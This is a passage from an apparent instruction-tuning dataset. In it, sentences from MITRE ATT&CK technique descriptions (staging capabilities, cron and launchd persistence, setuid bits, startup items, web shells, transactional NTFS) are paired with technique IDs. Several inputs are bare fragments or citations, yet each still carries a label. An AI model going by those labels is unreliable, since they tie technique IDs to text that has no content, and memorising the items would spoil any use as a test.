contained in the text. ### Input: (Citation: Windows Unquoted Services) (Citation: Windows Privilege Escalation Guide) ### Response: T1574.009."}{"instruction": "List the MITRE techniques contained in the text.", "input": "This technique can be used for persistence if executables are called on a regular basis, as well as privilege escalation if intercepted executables are started by a higher privileged process.", "output": "T1574.009", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: This technique can be used for persistence if executables are called on a regular basis, as well as privilege escalation if intercepted executables are started by a higher privileged process. ### Response: T1574.009."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may upload, install, or otherwise set up capabilities that can be used during targeting.", "output": "T1608", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may upload, install, or otherwise set up capabilities that can be used during targeting. ### Response: T1608."}{"instruction": "List the MITRE techniques contained in the text.", "input": "To support their operations, an adversary may need to take capabilities they developed ([Develop Capabilities](https://attack.mitre.org/techniques/T1587)) or obtained ([Obtain Capabilities](https://attack.mitre.org/techniques/T1588)) and stage them on infrastructure under their control.", "output": "T1608", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: To support their operations, an adversary may need to take capabilities they developed ([Develop Capabilities](https://attack.mitre.org/techniques/T1587)) or obtained ([Obtain Capabilities](https://attack.mitre.org/techniques/T1588)) and stage them on infrastructure under their control. ### Response: T1608."}{"instruction": "List the MITRE techniques contained in the text.", "input": "These capabilities may be staged on infrastructure that was previously purchased/rented by the adversary ([Acquire Infrastructure](https://attack.mitre.org/techniques/T1583)) or was otherwise compromised by them ([Compromise Infrastructure](https://attack.mitre.org/techniques/T1584)).", "output": "T1608", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: These capabilities may be staged on infrastructure that was previously purchased/rented by the adversary ([Acquire Infrastructure](https://attack.mitre.org/techniques/T1583)) or was otherwise compromised by them ([Compromise Infrastructure](https://attack.mitre.org/techniques/T1584)). ### Response: T1608."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Capabilities may also be staged on web services, such as GitHub or Pastebin, or on Platform-as-a-Service (PaaS) offerings that enable users to easily provision applications.(Citation: Volexity Ocean Lotus November 2020)(Citation:", "output": "T1608", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Capabilities may also be staged on web services, such as GitHub or Pastebin, or on Platform-as-a-Service (PaaS) offerings that enable users to easily provision applications.(Citation: Volexity Ocean Lotus November 2020)(Citation: ### Response: T1608."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Dragos Heroku Watering Hole)(Citation: Malwarebytes Heroku Skimmers)(Citation: Netskope GCP Redirection)(Citation: Netskope Cloud Phishing)", "output": "T1608", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Dragos Heroku Watering Hole)(Citation: Malwarebytes Heroku Skimmers)(Citation: Netskope GCP Redirection)(Citation: Netskope Cloud Phishing) ### Response: T1608."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Staging of capabilities can aid the adversary in a number of initial access and post-compromise behaviors, including (but not limited to):\n\n*", "output": "T1608", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Staging of capabilities can aid the adversary in a number of initial access and post-compromise behaviors, including (but not limited to):\n\n* ### Response: T1608."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Staging web resources necessary to conduct [Drive-by Compromise](https://attack.mitre.org/techniques/T1189) when a user browses to a site.(Citation: FireEye CFR Watering Hole 2012)(Citation: Gallagher 2015)(Citation: ATT ScanBox)", "output": "T1608", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Staging web resources necessary to conduct [Drive-by Compromise](https://attack.mitre.org/techniques/T1189) when a user browses to a site.(Citation: FireEye CFR Watering Hole 2012)(Citation: Gallagher 2015)(Citation: ATT ScanBox) ### Response: T1608."}{"instruction": "List the MITRE techniques contained in the text.", "input": "* Staging web resources for a link target to be used with spearphishing.(Citation: Malwarebytes Silent Librarian October 2020)(Citation:", "output": "T1608", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: * Staging web resources for a link target to be used with spearphishing.(Citation: Malwarebytes Silent Librarian October 2020)(Citation: ### Response: T1608."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Proofpoint TA407 September 2019)", "output": "T1608", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Proofpoint TA407 September 2019) ### Response: T1608."}{"instruction": "List the MITRE techniques contained in the text.", "input": "*", "output": "T1608", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: * ### Response: T1608."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Uploading malware or tools to a location accessible to a victim network to enable [Ingress Tool Transfer](https://attack.mitre.org/techniques/T1105).(Citation: Volexity Ocean Lotus November 2020)", "output": "T1608", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Uploading malware or tools to a location accessible to a victim network to enable [Ingress Tool Transfer](https://attack.mitre.org/techniques/T1105).(Citation: Volexity Ocean Lotus November 2020) ### Response: T1608."}{"instruction": "List the MITRE techniques contained in the text.", "input": "* Installing a previously acquired SSL/TLS certificate to use to encrypt command and control traffic (ex: [Asymmetric Cryptography](https://attack.mitre.org/techniques/T1573/002) with [Web Protocols](https://attack.mitre.org/techniques/T1071/001)).(Citation:", "output": "T1608", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: * Installing a previously acquired SSL/TLS certificate to use to encrypt command and control traffic (ex: [Asymmetric Cryptography](https://attack.mitre.org/techniques/T1573/002) with [Web Protocols](https://attack.mitre.org/techniques/T1071/001)).(Citation: ### Response: T1608."}{"instruction": "List the MITRE techniques contained in the text.", "input": "DigiCert Install SSL Cert)", "output": "T1608", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: DigiCert Install SSL Cert) ### Response: T1608."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may install SSL/TLS certificates that can be used during targeting.", "output": "T1608.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may install SSL/TLS certificates that can be used during targeting. ### Response: T1608.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "SSL/TLS certificates are files that can be installed on servers to enable secure communications between systems.", "output": "T1608.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: SSL/TLS certificates are files that can be installed on servers to enable secure communications between systems. ### Response: T1608.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Digital certificates include information about the key, information about its owner's identity, and the digital signature of an entity that has verified the certificate's contents are correct.", "output": "T1608.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Digital certificates include information about the key, information about its owner's identity, and the digital signature of an entity that has verified the certificate's contents are correct. ### Response: T1608.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "If the signature is valid, and the person examining the certificate trusts the signer, then they know they can use that key to communicate securely with its owner.", "output": "T1608.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: If the signature is valid, and the person examining the certificate trusts the signer, then they know they can use that key to communicate securely with its owner. ### Response: T1608.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Certificates can be uploaded to a server, then the server can be configured to use the certificate to enable encrypted communication with it.(Citation: DigiCert Install SSL Cert)", "output": "T1608.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Certificates can be uploaded to a server, then the server can be configured to use the certificate to enable encrypted communication with it.(Citation: DigiCert Install SSL Cert) ### Response: T1608.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may install SSL/TLS certificates that can be used to further their operations, such as encrypting C2 traffic (ex: [Asymmetric Cryptography](https://attack.mitre.org/techniques/T1573/002) with [Web Protocols](https://attack.mitre.org/techniques/T1071/001)) or lending credibility to a credential harvesting site.", "output": "T1608.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may install SSL/TLS certificates that can be used to further their operations, such as encrypting C2 traffic (ex: [Asymmetric Cryptography](https://attack.mitre.org/techniques/T1573/002) with [Web Protocols](https://attack.mitre.org/techniques/T1071/001)) or lending credibility to a credential harvesting site. ### Response: T1608.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Installation of digital certificates may take place for a number of server types, including web servers and email servers.", "output": "T1608.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Installation of digital certificates may take place for a number of server types, including web servers and email servers. ### Response: T1608.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries can obtain digital certificates (see [Digital Certificates](https://attack.mitre.org/techniques/T1588/004)) or create self-signed certificates (see [Digital Certificates](https://attack.mitre.org/techniques/T1587/003)).", "output": "T1608.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries can obtain digital certificates (see [Digital Certificates](https://attack.mitre.org/techniques/T1588/004)) or create self-signed certificates (see [Digital Certificates](https://attack.mitre.org/techniques/T1587/003)). ### Response: T1608.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Digital certificates can then be installed on adversary controlled infrastructure that may have been acquired ([Acquire Infrastructure](https://attack.mitre.org/techniques/T1583)) or previously compromised ([Compromise Infrastructure](https://attack.mitre.org/techniques/T1584)).", "output": "T1608.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Digital certificates can then be installed on adversary controlled infrastructure that may have been acquired ([Acquire Infrastructure](https://attack.mitre.org/techniques/T1583)) or previously compromised ([Compromise Infrastructure](https://attack.mitre.org/techniques/T1584)). ### Response: T1608.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "On Linux and macOS systems, multiple methods are supported for creating pre-scheduled and periodic background jobs: cron, (Citation: Die.net Linux crontab Man Page) at, (Citation: Die.net Linux at Man Page) and launchd.", "output": "T1168", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: On Linux and macOS systems, multiple methods are supported for creating pre-scheduled and periodic background jobs: cron, (Citation: Die.net Linux crontab Man Page) at, (Citation: Die.net Linux at Man Page) and launchd. ### Response: T1168."}{"instruction": "List the MITRE techniques contained in the text.", "input": "(Citation: AppleDocs Scheduling Timed Jobs) Unlike [Scheduled Task/Job](https://attack.mitre.org/techniques/T1053) on Windows systems, job scheduling on Linux-based systems cannot be done remotely unless used in conjunction within an established remote session, like secure shell (SSH).", "output": "T1168", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: (Citation: AppleDocs Scheduling Timed Jobs) Unlike [Scheduled Task/Job](https://attack.mitre.org/techniques/T1053) on Windows systems, job scheduling on Linux-based systems cannot be done remotely unless used in conjunction within an established remote session, like secure shell (SSH). ### Response: T1168."}{"instruction": "List the MITRE techniques contained in the text.", "input": "### cron\n\nSystem-wide cron jobs are installed by modifying <code>/etc/crontab</code> file, <code>/etc/cron.d/</code> directory or other locations supported by the Cron daemon, while per-user cron jobs are installed using crontab with specifically formatted crontab files.", "output": "T1168", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: ### cron\n\nSystem-wide cron jobs are installed by modifying <code>/etc/crontab</code> file, <code>/etc/cron.d/</code> directory or other locations supported by the Cron daemon, while per-user cron jobs are installed using crontab with specifically formatted crontab files. ### Response: T1168."}{"instruction": "List the MITRE techniques contained in the text.", "input": "(Citation: AppleDocs Scheduling Timed Jobs)", "output": "T1168", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: (Citation: AppleDocs Scheduling Timed Jobs) ### Response: T1168."}{"instruction": "List the MITRE techniques contained in the text.", "input": "This works on macOS and Linux systems.", "output": "T1168", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: This works on macOS and Linux systems. ### Response: T1168."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Those methods allow for commands or scripts to be executed at specific, periodic intervals in the background without user interaction.", "output": "T1168", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Those methods allow for commands or scripts to be executed at specific, periodic intervals in the background without user interaction. ### Response: T1168."}{"instruction": "List the MITRE techniques contained in the text.", "input": "An adversary may use job scheduling to execute programs at system startup or on a scheduled basis for Persistence, (Citation: Janicab) (Citation: Methods of Mac Malware Persistence) (Citation: Malware Persistence on OS X) (Citation: Avast Linux Trojan Cron Persistence) to conduct Execution as part of Lateral Movement, to gain root privileges, or to run a process under the context of a specific account.", "output": "T1168", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: An adversary may use job scheduling to execute programs at system startup or on a scheduled basis for Persistence, (Citation: Janicab) (Citation: Methods of Mac Malware Persistence) (Citation: Malware Persistence on OS X) (Citation: Avast Linux Trojan Cron Persistence) to conduct Execution as part of Lateral Movement, to gain root privileges, or to run a process under the context of a specific account. ### Response: T1168."}{"instruction": "List the MITRE techniques contained in the text.", "input": "### at\n\nThe at program is another means on POSIX-based systems, including macOS and Linux, to schedule a program or script job for execution at a later date and/or time, which could also be used for the same purposes.\n\n### launchd\n\nEach launchd job is described by a different configuration property list (plist) file similar to [Launch Daemon](https://attack.mitre.org/techniques/T1160) or [Launch Agent](https://attack.mitre.org/techniques/T1159), except there is an additional key called <code>StartCalendarInterval</code> with a dictionary of time values.", "output": "T1168", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: ### at\n\nThe at program is another means on POSIX-based systems, including macOS and Linux, to schedule a program or script job for execution at a later date and/or time, which could also be used for the same purposes.\n\n### launchd\n\nEach launchd job is described by a different configuration property list (plist) file similar to [Launch Daemon](https://attack.mitre.org/techniques/T1160) or [Launch Agent](https://attack.mitre.org/techniques/T1159), except there is an additional key called <code>StartCalendarInterval</code> with a dictionary of time values. ### Response: T1168."}{"instruction": "List the MITRE techniques contained in the text.", "input": "(Citation: AppleDocs Scheduling Timed Jobs)", "output": "T1168", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: (Citation: AppleDocs Scheduling Timed Jobs) ### Response: T1168."}{"instruction": "List the MITRE techniques contained in the text.", "input": "This only works on macOS and OS X.", "output": "T1168", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: This only works on macOS and OS X. ### Response: T1168."}{"instruction": "List the MITRE techniques contained in the text.", "input": "When the setuid or setgid bits are set on Linux or macOS for an application, this means that the application will run with the privileges of the owning user or group respectively  (Citation: setuid man page).", "output": "T1166", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: When the setuid or setgid bits are set on Linux or macOS for an application, this means that the application will run with the privileges of the owning user or group respectively  (Citation: setuid man page). ### Response: T1166."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Normally an application is run in the current user\u2019s context, regardless of which user or group owns the application.", "output": "T1166", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Normally an application is run in the current user\u2019s context, regardless of which user or group owns the application. ### Response: T1166."}{"instruction": "List the MITRE techniques contained in the text.", "input": "There are instances where programs need to be executed in an elevated context to function properly, but the user running them doesn\u2019t need the elevated privileges.", "output": "T1166", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: There are instances where programs need to be executed in an elevated context to function properly, but the user running them doesn\u2019t need the elevated privileges. ### Response: T1166."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Instead of creating an entry in the sudoers file, which must be done by root, any user can specify the setuid or setgid flag to be set for their own applications.", "output": "T1166", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Instead of creating an entry in the sudoers file, which must be done by root, any user can specify the setuid or setgid flag to be set for their own applications. ### Response: T1166."}{"instruction": "List the MITRE techniques contained in the text.", "input": "These bits are indicated with an \"s\" instead of an \"x\" when viewing a file's attributes via <code>ls -l</code>.", "output": "T1166", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: These bits are indicated with an \"s\" instead of an \"x\" when viewing a file's attributes via <code>ls -l</code>. ### Response: T1166."}{"instruction": "List the MITRE techniques contained in the text.", "input": "The <code>chmod</code> program can set these bits with via bitmasking, <code>chmod 4777", "output": "T1166", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: The <code>chmod</code> program can set these bits with via bitmasking, <code>chmod 4777 ### Response: T1166."}{"instruction": "List the MITRE techniques contained in the text.", "input": "[file]</code> or via shorthand naming, <code>chmod u+s", "output": "T1166", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: [file]</code> or via shorthand naming, <code>chmod u+s ### Response: T1166."}{"instruction": "List the MITRE techniques contained in the text.", "input": "[file]</code>.", "output": "T1166", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: [file]</code>. ### Response: T1166."}{"instruction": "List the MITRE techniques contained in the text.", "input": "An adversary can take advantage of this to either do a shell escape or exploit a vulnerability in an application with the setsuid or setgid bits to get code running in a different user\u2019s context.", "output": "T1166", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: An adversary can take advantage of this to either do a shell escape or exploit a vulnerability in an application with the setsuid or setgid bits to get code running in a different user\u2019s context. ### Response: T1166."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Additionally, adversaries can use this mechanism on their own malware to make sure they're able to execute in elevated contexts in the future  (Citation: OSX Keydnap malware).", "output": "T1166", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Additionally, adversaries can use this mechanism on their own malware to make sure they're able to execute in elevated contexts in the future  (Citation: OSX Keydnap malware). ### Response: T1166."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may use scripts automatically executed at boot or logon initialization to establish persistence.", "output": "T1037", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may use scripts automatically executed at boot or logon initialization to establish persistence. ### Response: T1037."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Initialization scripts can be used to perform administrative functions, which may often execute other programs or send information to an internal logging server.", "output": "T1037", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Initialization scripts can be used to perform administrative functions, which may often execute other programs or send information to an internal logging server. ### Response: T1037."}{"instruction": "List the MITRE techniques contained in the text.", "input": "These scripts can vary based on operating system and whether applied locally or remotely.", "output": "T1037", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: These scripts can vary based on operating system and whether applied locally or remotely. ### Response: T1037."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may use these scripts to maintain persistence on a single system.", "output": "T1037", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may use these scripts to maintain persistence on a single system. ### Response: T1037."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Depending on the access configuration of the logon scripts, either local credentials or an administrator account may be necessary.", "output": "T1037", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Depending on the access configuration of the logon scripts, either local credentials or an administrator account may be necessary. ### Response: T1037."}{"instruction": "List the MITRE techniques contained in the text.", "input": "An adversary may also be able to escalate their privileges since some boot or logon initialization scripts run with higher privileges.", "output": "T1037", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: An adversary may also be able to escalate their privileges since some boot or logon initialization scripts run with higher privileges. ### Response: T1037."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may use startup items automatically executed at boot initialization to establish persistence.", "output": "T1037.005", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may use startup items automatically executed at boot initialization to establish persistence. ### Response: T1037.005."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Startup items execute during the final phase of the boot process and contain shell scripts or other executable files along with configuration information used by the system to determine the execution order for all startup items.(Citation: Startup Items)", "output": "T1037.005", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Startup items execute during the final phase of the boot process and contain shell scripts or other executable files along with configuration information used by the system to determine the execution order for all startup items.(Citation: Startup Items) ### Response: T1037.005."}{"instruction": "List the MITRE techniques contained in the text.", "input": "This is technically a deprecated technology (superseded by [Launch Daemon](https://attack.mitre.org/techniques/T1543/004)), and thus the appropriate folder, <code>/Library/StartupItems</code> isn\u2019t guaranteed to exist on the system by default, but does appear to exist by default on macOS Sierra.", "output": "T1037.005", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: This is technically a deprecated technology (superseded by [Launch Daemon](https://attack.mitre.org/techniques/T1543/004)), and thus the appropriate folder, <code>/Library/StartupItems</code> isn\u2019t guaranteed to exist on the system by default, but does appear to exist by default on macOS Sierra. ### Response: T1037.005."}{"instruction": "List the MITRE techniques contained in the text.", "input": "A startup item is a directory whose executable and configuration property list (plist), <code>StartupParameters.plist</code>, reside in the top-level directory.", "output": "T1037.005", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: A startup item is a directory whose executable and configuration property list (plist), <code>StartupParameters.plist</code>, reside in the top-level directory. ### Response: T1037.005."}{"instruction": "List the MITRE techniques contained in the text.", "input": "An adversary can create the appropriate folders/files in the StartupItems directory to register their own persistence mechanism.(Citation: Methods of Mac Malware Persistence)", "output": "T1037.005", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: An adversary can create the appropriate folders/files in the StartupItems directory to register their own persistence mechanism.(Citation: Methods of Mac Malware Persistence) ### Response: T1037.005."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Additionally, since StartupItems run during the bootup phase of macOS, they will run as the elevated root user.", "output": "T1037.005", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Additionally, since StartupItems run during the bootup phase of macOS, they will run as the elevated root user. ### Response: T1037.005."}{"instruction": "List the MITRE techniques contained in the text.", "input": "A Web shell is a Web script that is placed on an openly accessible Web server to allow an adversary to use the Web server as a gateway into a network.", "output": "T1100", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: A Web shell is a Web script that is placed on an openly accessible Web server to allow an adversary to use the Web server as a gateway into a network. ### Response: T1100."}{"instruction": "List the MITRE techniques contained in the text.", "input": "A Web shell may provide a set of functions to execute or a command-line interface on the system that hosts the Web server.", "output": "T1100", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: A Web shell may provide a set of functions to execute or a command-line interface on the system that hosts the Web server. ### Response: T1100."}{"instruction": "List the MITRE techniques contained in the text.", "input": "In addition to a server-side script, a Web shell may have a client interface program that is used to talk to the Web server (see, for example, China Chopper Web shell client).", "output": "T1100", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: In addition to a server-side script, a Web shell may have a client interface program that is used to talk to the Web server (see, for example, China Chopper Web shell client). ### Response: T1100."}{"instruction": "List the MITRE techniques contained in the text.", "input": "(Citation: Lee 2013)\n\nWeb shells may serve as [Redundant Access](https://attack.mitre.org/techniques/T1108) or as a persistence mechanism in case an adversary's primary access methods are detected and removed.", "output": "T1100", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: (Citation: Lee 2013)\n\nWeb shells may serve as [Redundant Access](https://attack.mitre.org/techniques/T1108) or as a persistence mechanism in case an adversary's primary access methods are detected and removed. ### Response: T1100."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Windows Transactional NTFS (TxF) was introduced in Vista as a method to perform safe file operations.", "output": "T1186", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Windows Transactional NTFS (TxF) was introduced in Vista as a method to perform safe file operations. ### Response: T1186."}{"instruction": "List the MITRE techniques contained in the text.", "input": "(Citation: Microsoft TxF) To ensure data integrity, TxF enables only one transacted handle to write to a file at a given time.", "output": "T1186", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: (Citation: Microsoft TxF) To ensure data integrity, TxF enables only one transacted handle to write to a file at a given time. ### Response: T1186."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Until the write handle transaction is terminated, all other handles are isolated from the writer and may only read the committed version of the file that existed at the time the handle was opened.", "output": "T1186", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Until the write handle transaction is terminated, all other handles are isolated from the writer and may only read the committed version of the file that existed at the time the handle was opened. ### Response: T1186."}{"instruction": "List the MITRE techniques contained in the text.", "input": "(Citation: Microsoft Basic TxF Concepts) To avoid corruption, TxF performs an automatic rollback if the system or application fails during a write transaction.", "output": "T1186", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: (Citation: Microsoft Basic TxF Concepts) To avoid corruption, TxF performs an automatic rollback if the system or application fails during a write transaction. ### Response: T1186."}{"instruction": "List the MITRE techniques contained in the text.", "input": "(Citation: Microsoft Where to use TxF)\n\nAlthough deprecated, the TxF application programming interface (API) is still enabled as of Windows 10.", "output": "T1186", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: (Citation: Microsoft Where to use TxF)\n\nAlthough deprecated, the TxF application programming interface (API) is still enabled as of Windows 10. ### Response: T1186."}{"instruction": "List the MITRE techniques contained in the text.", "input": "(Citation: BlackHat Process Doppelg\u00e4nging Dec 2017)", "output": "T1186", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: (Citation: BlackHat Process Doppelg\u00e4nging Dec 2017) ### Response: T1186."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may leverage TxF to a perform a file-less variation of [Process Injection](https://attack.mitre.org/techniques/T1055) called Process Doppelg\u00e4nging.", "output": "T1186", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may leverage TxF to a perform a file-less variation of [Process Injection](https://attack.mitre.org/techniques/T1055) called Process Doppelg\u00e4nging. ### Response: T1186."}{"instruction": "List the 